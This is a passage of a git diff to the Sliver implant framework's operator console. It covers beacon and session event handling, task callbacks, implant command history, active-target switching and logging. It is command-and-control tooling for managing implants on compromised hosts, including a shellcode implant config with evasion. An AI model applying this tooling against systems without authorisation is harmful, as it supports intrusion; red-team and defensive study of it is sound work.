Operator: %s", err) + } + con.PrintInfof("Removed session %s from Operator", session.Name) + } + + case consts.BeaconRegisteredEvent: + beacon := &clientpb.Beacon{} + proto.Unmarshal(event.Data, beacon) + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(beacon.ID, "-")[0] + con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v", + shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime) + + // Prelude Operator + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { + con.AddBeaconCallback(&commonpb.Response{TaskID: taskID}, cb) + }) + if err != nil { + con.PrintErrorf("Could not add beacon to Operator: %s", err) + } + } + + case consts.BeaconTaskResultEvent: + con.triggerBeaconTaskCallback(event.Data) + + case consts.BeaconTaskCanceledEvent: + con.triggerTaskCancel(event.Data) + } + + con.triggerReactions(event) + } +} + +// CreateEventListener - creates a new event listener and returns its ID. +func (con *SliverClient) CreateEventListener() (string, <-chan *clientpb.Event) { + listener := make(chan *clientpb.Event, 100) + listenerID, _ := uuid.NewV4() + con.EventListeners.Store(listenerID.String(), listener) + return listenerID.String(), listener +} + +// RemoveEventListener - removes an event listener given its id. +func (con *SliverClient) RemoveEventListener(listenerID string) { + value, ok := con.EventListeners.LoadAndDelete(listenerID) + if ok { + close(value.(chan *clientpb.Event)) + } +} + +func (con *SliverClient) triggerEventListeners(event *clientpb.Event) { + con.EventListeners.Range(func(key, value interface{}) bool { + listener := value.(chan *clientpb.Event) + listener <- event // Do not block while sending the event to the listener + return true + }) +} + +func (con *SliverClient) triggerReactions(event *clientpb.Event) { + reactions := core.Reactions.On(event.EventType) + if len(reactions) == 0 { + return + } + + // We need some special handling for SessionOpenedEvent to + // set the new session as the active session + currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get() + defer func() { + con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon) + }() + + if event.EventType == consts.SessionOpenedEvent { + con.ActiveTarget.Set(nil, nil) + + con.ActiveTarget.Set(event.Session, nil) + } else if event.EventType == consts.BeaconRegisteredEvent { + con.ActiveTarget.Set(nil, nil) + + beacon := &clientpb.Beacon{} + proto.Unmarshal(event.Data, beacon) + con.ActiveTarget.Set(nil, beacon) + } + + for _, reaction := range reactions { + for _, line := range reaction.Commands { + con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) + err := con.App.ActiveMenu().RunCommandLine(line) + if err != nil { + con.PrintErrorf("Reaction command error: %s\n", err) + } + } + } +} + +// triggerBeaconTaskCallback - Triggers the callback for a beacon task. +func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { + task := &clientpb.BeaconTask{} + err := proto.Unmarshal(data, task) + if err != nil { + con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) + return + } + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) + + // If the callback is not in our map then we don't do anything, the beacon task + // was either issued by another operator in multiplayer mode or the client process + // was restarted between the time the task was created and when the server got the result + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { + + // If needed, wait for the "request sent" status to be printed first. + con.beaconTaskSentMutex.Lock() + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + delete(con.beaconSentStatus, task.ID) + } + con.beaconTaskSentMutex.Unlock() + + if con.Settings.BeaconAutoResults { + if beacon != nil { + con.PrintSuccessf("%s completed task %s\n", beacon.Name, strings.Split(task.ID, "-")[0]) + } + task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ + ID: task.ID, + }) + con.Printf(Clearln + "\r\n") + if err == nil { + callback(task_content) + } else { + con.PrintErrorf("Could not get beacon task content: %s\n", err) + } + } + delete(con.BeaconTaskCallbacks, task.ID) + con.waitingResult <- true + } +} + +// triggerTaskCancel cancels any command thread that is waiting for a task that has just been canceled. +func (con *SliverClient) triggerTaskCancel(data []byte) { + task := &clientpb.BeaconTask{} + err := proto.Unmarshal(data, task) + if err != nil { + con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) + return + } + + // If the callback is not in our map then we don't do anything: we are not the origin + // of the task and we are therefore not blocking somewhere waiting for its results. + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + if _, ok := con.BeaconTaskCallbacks[task.ID]; ok { + + // If needed, wait for the "request sent" status to be printed first. + con.beaconTaskSentMutex.Lock() + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + delete(con.beaconSentStatus, task.ID) + } + con.beaconTaskSentMutex.Unlock() + + // Display a message indicating that the task was canceled. + con.PrintWarnf("Task %s was cancelled by another client\n", strings.Split(task.ID, "-")[0]) + delete(con.BeaconTaskCallbacks, task.ID) + con.waitingResult <- true + } +} + +// AddBeaconCallback registers a new function to call once a beacon task is completed and received. +func (con *SliverClient) AddBeaconCallback(resp *commonpb.Response, callback BeaconTaskCallback) { + if resp == nil || resp.TaskID == "" { + return + } + + // Store the task ID. + con.BeaconTaskCallbacksMutex.Lock() + con.BeaconTaskCallbacks[resp.TaskID] = callback + con.BeaconTaskCallbacksMutex.Unlock() + + // Wait for the "request sent" status to be printed before results. + con.beaconTaskSentMutex.Lock() + wait := &sync.WaitGroup{} + wait.Add(1) + con.beaconSentStatus[resp.TaskID] = wait + con.beaconTaskSentMutex.Unlock() + + con.PrintAsyncResponse(resp) + con.waitSignalOrClose() +} + +// NewTask is a function resting on the idea that a task can be handled identically regardless +// of if it's a beacon or a session one. This function tries to solve several problems at once: +// +// - Enable commands to declare only a single "execution workflow" for all implant types. +// - Allow us to hook onto the process for various things. Example: we want to save each +// beacon task with its corresponding command-line (for accessibility/display purposes), +// and we would prefer doing it without having to call History RPC stuff in another place. +// - Eventually or potentially, also treat all session requests as tasks, with 0 delay. +// You then have a single, more unified way of treating all implant interactions. +// No need to store implant history in JSON/text files, just use the database for it. +// +// This function DOES NOT register a beacon callback (eg. treats the task as synchronous), when: +// - the provided (task) Response is nil, +// - if the task is not marked Async, +// - or if it's ID is nil, +// +// In which case, the handle function is directly called and executed with the result. +// This function is not used, but is fully compatible with all of your code (I checked). +// +// Usage: +// con.NewTask(download.Response, download, func() { PrintCat(download, cmd, con) }) +func (con *SliverClient) NewTask(resp *commonpb.Response, message proto.Message, handle func()) { + // We're no beacon here, just run the response handler. + if resp == nil || !resp.Async || resp.TaskID == "" { + if handle != nil { + handle() + } + return + } + + // Else, we are a beacon. + con.AddBeaconCallback(resp, func(task *clientpb.BeaconTask) { + err := proto.Unmarshal(task.Response, message) + if err != nil { + con.PrintErrorf("Failed to decode response %s\n", err) + return + } + + if handle != nil { + handle() + } + }) +} diff --git a/client/console/history.go b/client/console/history.go new file mode 100644 index 0000000000..599397a3d1 --- /dev/null +++ b/client/console/history.go @@ -0,0 +1,203 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "strings" + "time" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" +) + +type implantHistory struct { + con *SliverClient + items []*clientpb.ImplantCommand + Stream rpcpb.SliverRPC_ImplantHistoryClient + pos int + user bool +} + +// SaveCommandLine sends a command-line to the server for saving, +// with information about the currrent active target and user. +// Called in the implant-command tree root persistent post-runner. +func (s *ActiveTarget) SaveCommandLine(args []string) { + if s.hist == nil { + return + } + + cmdline := strings.Join(args, " ") + + s.hist.Write(cmdline) +} + +func (con *SliverClient) newImplantHistory(user bool) (*implantHistory, error) { + hist := &implantHistory{ + con: con, + user: user, + } + + // Always refresh our cache when connecting. + defer hist.Dump() + + // Important; in Write(), user should not use this tream. + if hist.user { + return hist, nil + } + + stream, err := con.Rpc.ImplantHistory(context.Background()) + if err != nil { + return nil, err + } + + // Refresh the list. + hist.Stream = stream + + return hist, nil +} + +// Write - Sends the last command to the server for saving. +// Some commands are not saved (background, exit, etc) +func (h *implantHistory) Write(cmdline string) (int, error) { + sess, beac := h.con.ActiveTarget.Get() + if sess == nil && beac == nil { + return len(h.items), nil + } + + cmdline = strings.TrimSpace(cmdline) + + // Don't save queries for the list of commands. + if isTrivialCommand(cmdline) { + return len(h.items), nil + } + + // Populate a command line with its context. + cmd := &clientpb.ImplantCommand{} + + cmd.Block = cmdline + cmd.ExecutedAt = time.Now().Unix() + + if sess != nil { + cmd.ImplantID = sess.ID + cmd.ImplantName = sess.Name + } else if beac != nil { + cmd.ImplantID = beac.ID + cmd.ImplantName = beac.Name + } + + // Save it in memory + h.items = append(h.items, cmd) + + if h.user { + return len(h.items), nil + } + + err := h.Stream.Send(cmd) + + return len(h.items), err +} + +// GetLine returns a line from history. +func (h *implantHistory) GetLine(pos int) (string, error) { + if pos < 0 { + return "", nil + } + + // Refresh the command history. + if len(h.items) == 0 { + h.Dump() + } + + if pos >= len(h.items) { + return "", errors.New("Invalid history index") + } + + return h.items[pos].Block, nil +} + +// Len returns the number of lines in history. +func (h *implantHistory) Len() int { + h.Dump() + return len(h.items) +} + +// Dump returns the entire history, and caches it +// internally to avoid queries when possible. +func (h *implantHistory) Dump() interface{} { + sess, beac := h.con.ActiveTarget.Get() + if sess == nil && beac == nil { + return h.items + } + + req := &clientpb.HistoryRequest{ + UserOnly: h.user, + } + + if sess != nil { + req.ImplantID = sess.ID + req.ImplantName = sess.Name + } else if beac != nil { + req.ImplantID = beac.ID + req.ImplantName = beac.Name + } + + history, err := h.con.Rpc.GetImplantHistory(context.Background(), req) + if err != nil { + return h.items + } + + h.items = history.Commands + + return h.items +} + +// Close closes the implant history stream. +func (h *implantHistory) Close() error { + if h.Stream == nil { + return nil + } + + _, err := h.Stream.CloseAndRecv() + return err +} + +// isTrivialCommand returns true for commands that don't +// need to be saved in a given implant command history. +func isTrivialCommand(cmdline string) bool { + ignoreCmds := map[string]bool{ + "": true, + "background": true, + "history": true, + } + + for key := range ignoreCmds { + if key != "" && strings.HasPrefix(cmdline, key) { + return true + } + } + + ignore, found := ignoreCmds[cmdline] + if !found { + return false + } + + return ignore +} diff --git a/client/console/implant.go b/client/console/implant.go new file mode 100644 index 0000000000..17c55d4b22 --- /dev/null +++ b/client/console/implant.go @@ -0,0 +1,327 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/spf13/cobra" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +type ActiveTarget struct { + session *clientpb.Session + beacon *clientpb.Beacon + observers map[int]Observer + observerID int + con *SliverClient + hist *implantHistory +} + +func newActiveTarget() *ActiveTarget { + at := &ActiveTarget{ + observers: map[int]Observer{}, + observerID: 0, + } + + return at +} + +// GetSession returns the session matching an ID, either by prefix or strictly. +func (con *SliverClient) GetSession(arg string) *clientpb.Session { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range sessions.GetSessions() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + +// GetBeacon returns the beacon matching an ID, either by prefix or strictly. +func (con *SliverClient) GetBeacon(arg string) *clientpb.Beacon { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range beacons.GetBeacons() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + +// GetSessionsByName - Return all sessions for an Implant by name. +func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return nil + } + matched := []*clientpb.Session{} + for _, session := range sessions.GetSessions() { + if session.Name == name { + matched = append(matched, session) + } + } + return matched +} + +// GetActiveSessionConfig - Get the active sessions's config +// TODO: Switch to query config based on ConfigID. +func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { + session := con.ActiveTarget.GetSession() + if session == nil { + return nil + } + c2s := []*clientpb.ImplantC2{} + c2s = append(c2s, &clientpb.ImplantC2{ + URL: session.GetActiveC2(), + Priority: uint32(0), + }) + config := &clientpb.ImplantConfig{ + Name: session.GetName(), + GOOS: session.GetOS(), + GOARCH: session.GetArch(), + Debug: true, + Evasion: session.GetEvasion(), + + MaxConnectionErrors: uint32(1000), + ReconnectInterval: int64(60), + Format: clientpb.OutputFormat_SHELLCODE, + IsSharedLib: true, + C2: c2s, + } + return config +} + +// GetSessionInteractive - Get the active target(s). +func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { + if s.session == nil && s.beacon == nil { + fmt.Printf(Warn + "Please select a session or beacon via `use`\n") + return nil, nil + } + return s.session, s.beacon +} + +// GetSessionInteractive - Get the active target(s). +func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { + return s.session, s.beacon +} + +// GetSessionInteractive - GetSessionInteractive the active session. +func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { + if s.session == nil { + fmt.Printf(Warn + "Please select a session via `use`\n") + return nil + } + return s.session +} + +// GetSession - Same as GetSession() but doesn't print a warning. +func (s *ActiveTarget) GetSession() *clientpb.Session { + return s.session +} + +// GetBeaconInteractive - Get beacon interactive the active session. +func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { + if s.beacon == nil { + fmt.Printf(Warn + "Please select a beacon via `use`\n") + return nil + } + return s.beacon +} + +// GetBeacon - Same as GetBeacon() but doesn't print a warning. +func (s *ActiveTarget) GetBeacon() *clientpb.Beacon { + return s.beacon +} + +// IsSession - Is the current target a session? +func (s *ActiveTarget) IsSession() bool { + return s.session != nil +} + +// AddObserver - Observers to notify when the active session changes. +func (s *ActiveTarget) AddObserver(observer Observer) int { + s.observerID++ + s.observers[s.observerID] = observer + return s.observerID +} + +// RemoveObserver removes an observer from the active target. +func (s *ActiveTarget) RemoveObserver(observerID int) { + delete(s.observers, observerID) +} + +// Request prepares a request metadata for the currently active target. +func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { + if s.session == nil && s.beacon == nil { + return nil + } + + // One less than the gRPC timeout so that the server should timeout first + timeOutF := int64(defaultTimeout) - 1 + if cmd != nil { + timeOutF, _ = cmd.Flags().GetInt64("timeout") + } + timeout := (int64(time.Second) * timeOutF) - 1 + + req := &commonpb.Request{} + req.Timeout = timeout + + if s.session != nil { + req.Async = false + req.SessionID = s.session.ID + } + if s.beacon != nil { + req.Async = true + req.BeaconID = s.beacon.ID + } + + req.CmdLine = s.con.Args + + return req +} + +// Set - Change the active session. +func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { + if session != nil && beacon != nil { + s.con.PrintErrorf("cannot set both an active beacon and an active session") + return + } + + defer s.con.FilterCommands(s.con.App.ActiveMenu().Command) + + // Backgrounding + if session == nil && beacon == nil { + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + + if s.con.isCLI { + return + } + + // Switch back to server menu. + if s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } + + return + } + + // Foreground + if session != nil { + s.session = session + s.beacon = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + } else if beacon != nil { + s.beacon = beacon + s.session = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + } + + // Update menus, prompts and commands + if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ImplantMenu) + } +} + +// Background - Background the active session. +func (s *ActiveTarget) Background() { + defer s.con.App.ShowCommands() + + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(nil, nil) + } + + // Switch back to server menu. + if !s.con.isCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } +} + +// Filters returns list of constants describing which types of commands +// should NOT be available for the current target, eg. beacon commands if +// the target is a session, Windows commands if the target host is Linux. +func (s *ActiveTarget) Filters() []string { + if s.session == nil && s.beacon == nil { + return nil + } + + filters := make([]string, 0) + + // Target type. + switch { + case s.session != nil: + session := s.session + + // Forbid all beacon-only commands. + filters = append(filters, consts.BeaconCmdsFilter) + + // Operating system + if session.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if session.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + + case s.beacon != nil: + beacon := s.beacon + + // Forbid all session-only commands. + filters = append(filters, consts.SessionCmdsFilter) + + // Operating system + if beacon.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if beacon.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + } + + return filters +} diff --git a/client/console/log.go b/client/console/log.go index 71807efac0..852e819766 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -29,10 +29,12 @@ import ( "time" "github.com/moloch--/asciicast" + "github.com/sirupsen/logrus" "golang.org/x/exp/slog" "golang.org/x/term" "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" @@ -54,7 +56,7 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { // ClientLogStream requires a log stream name, used to save the logs // going through this stream in a specific log subdirectory/file. -func (con *SliverConsoleClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { +func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { stream, err := con.Rpc.ClientLog(context.Background()) if err != nil { return nil, err @@ -62,7 +64,59 @@ func (con *SliverConsoleClient) ClientLogStream(name string) (*ConsoleClientLogg return &ConsoleClientLogger{name: name, Stream: stream}, nil } -func (con *SliverConsoleClient) setupLogger(writers ...io.Writer) { +func (con *SliverClient) startClientLog() error { + if !con.Settings.ConsoleLogs { + return nil + } + + // Classic logs. + clientLogFile := getConsoleLogFile() + + clientLogs, err := con.ClientLogStream("json") + if err != nil { + return fmt.Errorf("Could not get client log stream: %w", err) + } + + con.setupLogger(clientLogFile, clientLogs) + + // Asciicast sessions. + // asciicastFile := getConsoleAsciicastFile() + // + // asciicastStream, err := con.ClientLogStream("asciicast") + // if err != nil { + // return fmt.Errorf("Could not get client log stream: %w", err) + // } + // + // err = con.setupAsciicastRecord(asciicastFile, asciicastStream) + + con.closeLogs = append(con.closeLogs, func() { + // Local files + clientLogFile.Close() + // asciicastFile.Close() + + // Server streams. + clientLogs.Stream.CloseAndRecv() + // asciicastStream.Stream.CloseAndRecv() + }) + + return nil +} + +func (con *SliverClient) closeClientStreams() { + if con.closeLogs == nil { + return + } + + defer func() { + con.closeLogs = nil + }() + + for _, closeLog := range con.closeLogs { + closeLog() + } +} + +func (con *SliverClient) setupLogger(writers ...io.Writer) { logWriter := io.MultiWriter(writers...) jsonOptions := &slog.HandlerOptions{ Level: slog.LevelDebug, @@ -73,41 +127,54 @@ func (con *SliverConsoleClient) setupLogger(writers ...io.Writer) { con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand) } -// logCommand logs non empty commands to the client log file. -func (con *SliverConsoleClient) logCommand(args []string) ([]string, error) { - if len(args) == 0 { - return args, nil - } - logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) - logger.Debug(strings.Join(args, " ")) - return args, nil -} - -func (con *SliverConsoleClient) setupAsciicastRecord(logFile *os.File, server io.Writer) { - x, y, err := term.GetSize(int(os.Stdin.Fd())) +func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer) error { + width, height, err := term.GetSize(int(os.Stdin.Fd())) if err != nil { - x, y = 80, 80 + width, height = 80, 80 } // Save the asciicast to the server and a local file. destinations := io.MultiWriter(logFile, server) - encoder := asciicast.NewEncoder(destinations, x, y) - encoder.WriteHeader() + encoder := asciicast.NewEncoder(destinations, width, height) + if err := encoder.WriteHeader(); err != nil { + return err + } // save existing stdout | MultiWriter writes to saved stdout and file out := os.Stdout - mw := io.MultiWriter(out, encoder) + multiOut := io.MultiWriter(out, encoder) // get pipe reader and writer | writes to pipe writer come out pipe reader - r, w, _ := os.Pipe() + read, write, _ := os.Pipe() // replace stdout,stderr with pipe writer | all writes to stdout, // stderr will go through pipe instead (fmt.print, log) - os.Stdout = w - os.Stderr = w + os.Stdout = write + os.Stderr = write + + go io.Copy(multiOut, read) - go io.Copy(mw, r) + return nil +} + +// logCommand logs non empty commands to the client log file. +func (con *SliverClient) logCommand(args []string) ([]string, error) { + if len(args) == 0 { + return args, nil + } + + logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) + + sess, beac := con.ActiveTarget.Get() + if sess != nil { + logger = logger.With(slog.String("implant_id", sess.ID)) + } else if beac != nil { + logger = logger.With(slog.String("implant_id", beac.ID)) + } + + logger.Debug(strings.Join(args, " ")) + return args, nil } func getConsoleLogFile() *os.File { @@ -132,6 +199,31 @@ func getConsoleAsciicastFile() *os.File { return logFile } +// initTeamclientLog returns a logrus logger to be passed to the Sliver +// team.Client for logging all client-side transport/RPC events. +func initTeamclientLog() *logrus.Logger { + logsDir := assets.GetConsoleLogsDir() + dateTime := time.Now().Format("2006-01-02_15-04-05") + logPath := filepath.Join(logsDir, fmt.Sprintf("%s.log", dateTime)) + + textLogger := logrus.New() + textLogger.SetFormatter(&logrus.TextFormatter{}) + + logFile, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + log.Fatalf("Failed to open log file %s", err) + return textLogger + } + + // Text-format logger, writing to file. + textLogger.Out = logFile + + textLogger.SetLevel(logrus.InfoLevel) + textLogger.SetReportCaller(true) + + return textLogger +} + // // -------------------------- [ Logging ] ----------------------------- // @@ -139,19 +231,22 @@ func getConsoleAsciicastFile() *os.File { // These below will print their output regardless of the currently active menu (server/implant), // while those in the log package tie their output to the current menu. -// PrintAsyncResponse - Print the generic async response information -func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) { +// PrintAsyncResponse - Print the generic async response information. +func (con *SliverClient) PrintAsyncResponse(resp *commonpb.Response) { + defer con.beaconSentStatus[resp.TaskID].Done() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() + beacon, err := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: resp.BeaconID}) if err != nil { con.PrintWarnf(err.Error()) return } - con.PrintInfof("Tasked beacon %s (%s)", beacon.Name, strings.Split(resp.TaskID, "-")[0]) + con.PrintInfof("Tasked beacon %s (%s)\n", beacon.Name, strings.Split(resp.TaskID, "-")[0]) } -func (con *SliverConsoleClient) Printf(format string, args ...any) { +func (con *SliverClient) Printf(format string, args ...any) { logger := slog.NewLogLogger(con.jsonHandler, slog.LevelInfo) logger.Printf(format, args...) @@ -159,7 +254,7 @@ func (con *SliverConsoleClient) Printf(format string, args ...any) { } // Println prints an output without status and immediately below the last line of output. -func (con *SliverConsoleClient) Println(args ...any) { +func (con *SliverClient) Println(args ...any) { logger := slog.New(con.jsonHandler) format := strings.Repeat("%s", len(args)) logger.Info(fmt.Sprintf(format, args)) @@ -167,7 +262,7 @@ func (con *SliverConsoleClient) Println(args ...any) { } // PrintInfof prints an info message immediately below the last line of output. -func (con *SliverConsoleClient) PrintInfof(format string, args ...any) { +func (con *SliverClient) PrintInfof(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Info(fmt.Sprintf(format, args...)) @@ -176,7 +271,7 @@ func (con *SliverConsoleClient) PrintInfof(format string, args ...any) { } // PrintSuccessf prints a success message immediately below the last line of output. -func (con *SliverConsoleClient) PrintSuccessf(format string, args ...any) { +func (con *SliverClient) PrintSuccessf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Info(fmt.Sprintf(format, args...)) @@ -185,7 +280,7 @@ func (con *SliverConsoleClient) PrintSuccessf(format string, args ...any) { } // PrintWarnf a warning message immediately below the last line of output. -func (con *SliverConsoleClient) PrintWarnf(format string, args ...any) { +func (con *SliverClient) PrintWarnf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Warn(fmt.Sprintf(format, args...)) @@ -194,7 +289,7 @@ func (con *SliverConsoleClient) PrintWarnf(format string, args ...any) { } // PrintErrorf prints an error message immediately below the last line of output. -func (con *SliverConsoleClient) PrintErrorf(format string, args ...any) { +func (con *SliverClient) PrintErrorf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Error(fmt.Sprintf(format, args...)) @@ -203,7 +298,7 @@ func (con *SliverConsoleClient) PrintErrorf(format string, args ...any) { } // PrintEventInfof prints an info message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventInfof(format string, args ...any) { +func (con *SliverClient) PrintEventInfof(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Info(fmt.Sprintf(format, args...)) @@ -212,7 +307,7 @@ func (con *SliverConsoleClient) PrintEventInfof(format string, args ...any) { } // PrintEventErrorf prints an error message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...any) { +func (con *SliverClient) PrintEventErrorf(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Error(fmt.Sprintf(format, args...)) @@ -221,10 +316,15 @@ func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...any) { } // PrintEventSuccessf a success message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventSuccessf(format string, args ...any) { +func (con *SliverClient) PrintEventSuccessf(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Info(fmt.Sprintf(format, args...)) con.printf(Clearln+"\r\n"+Success+format+"\r", args...) } + +// SpinUntil starts a console display spinner in the background (non-blocking) +func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { + go spin.Until(os.Stdout, message, ctrl) +} diff --git a/client/console/readline.go b/client/console/readline.go new file mode 100644 index 0000000000..c08cbcd7ad --- /dev/null +++ b/client/console/readline.go @@ -0,0 +1,268 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "log" + insecureRand "math/rand" + "os" + "os/signal" + "strings" + "syscall" + + "github.com/AlecAivazis/survey/v2" + + "github.com/reeflective/console" + + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// GetPrompt returns the prompt string computed for the current context. +func (con *SliverClient) GetPrompt() string { + prompt := Underline + "sliver" + Normal + if con.IsServer { + prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal + } + if con.ActiveTarget.GetSession() != nil { + prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal) + } else if con.ActiveTarget.GetBeacon() != nil { + prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) + } + prompt += " > " + return prompt +} + +// ExitConfirm tries to exit the Sliver go program. +// It will prompt on stdin for confirmation if: +// - The program is a Sliver server and has active slivers under management. +// - The program is a client and has active port forwarders or SOCKS proxies. +// In any of those cases and without confirm, the function does nothing. +func (con *SliverClient) ExitConfirm() { + fmt.Println("Exiting...") + + if con.IsServer { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + os.Exit(1) + } + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + os.Exit(1) + } + if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) { + con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons)) + confirm := false + prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + } + + // Client might have portfwds/socks + portfwds := core.Portfwds.List() + servers := core.SocksProxies.List() + + if len(portfwds) > 0 { + con.Printf("There are %d active (bind) port forwarders.\n", len(portfwds)) + } + + if len(servers) > 0 { + con.Printf("There are %d active SOCKS servers.\n", len(servers)) + } + + if len(portfwds)+len(servers) > 0 { + confirm := false + prompt := &survey.Confirm{Message: "Are you 